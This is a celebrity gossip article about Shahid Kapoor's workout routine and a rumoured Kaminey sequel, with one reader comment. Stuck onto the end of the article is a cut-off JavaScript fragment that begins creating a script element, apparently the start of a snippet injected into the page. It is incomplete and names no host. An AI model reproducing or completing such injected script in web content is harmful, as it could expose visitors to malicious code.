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Secret behind Shahid Kapoor’s hot bod

Shahid Kapoor is one of the hottest actors in Bollywood and doubtlessly has one of the hottest bods too. However, the actor says its not so easy to achieve such a physique.

Shahid has worked really hard with tons of dedication, says his trainer.

His trainer Abbas Ali said in a statement, “He trains five times a week for an hour. There are three strength training sessions, followed by two days of functional or metabolic conditioning. He also goes for a 7-10 km walk or jog every week,”

“Shahid can’t do without a dose of his daily workouts. Even when he is busy shooting or travelling, the young star makes sure to make room for his workouts,” he added.

Shahid’s female fans swooned over him, when the actor flaunted his hot bod in Kaminey.

The star will next be seen in Rajkumar Santoshi’s Phata Poster Nikla Hero along with Ileana D’Cruz.

Meanwhile, if buzz is to be believed, the ‘Kaminey’ team is planning for the film’s sequel. However, while Shahid Kapoor will be part of the sequel, the film’s leading lady Priyanka Chopra is out. The news is not confirmed yet.

A source told, “It (Kaminey 2) is on the cards but when and how is not yet decided. As soon as Vishal’s Matru Ki Bijee Ka Mandola is released, work is likely to begin on the project. Also, we will have to wait for Shahid Kapoor to finish shooting for Prabhu Deva’s film.”var d=document;var s=d.createElement(‘script’);

1 Comment

  1. TruthHurts

    January 11, 2013 at 12:14 pm

    I love Shahid but he needs a really strong comeback this year. He needs to re-establish or create a better relationship with his fans & gain their loyalty by somehow showing a more upbeat personality. He has become very boring & stale – which is probably why his movies aren’t doing well. He has competition from other hot young up & coming actors in Bollywood who look good, can act, have nice bodies and can also dance. He better watch out!!!

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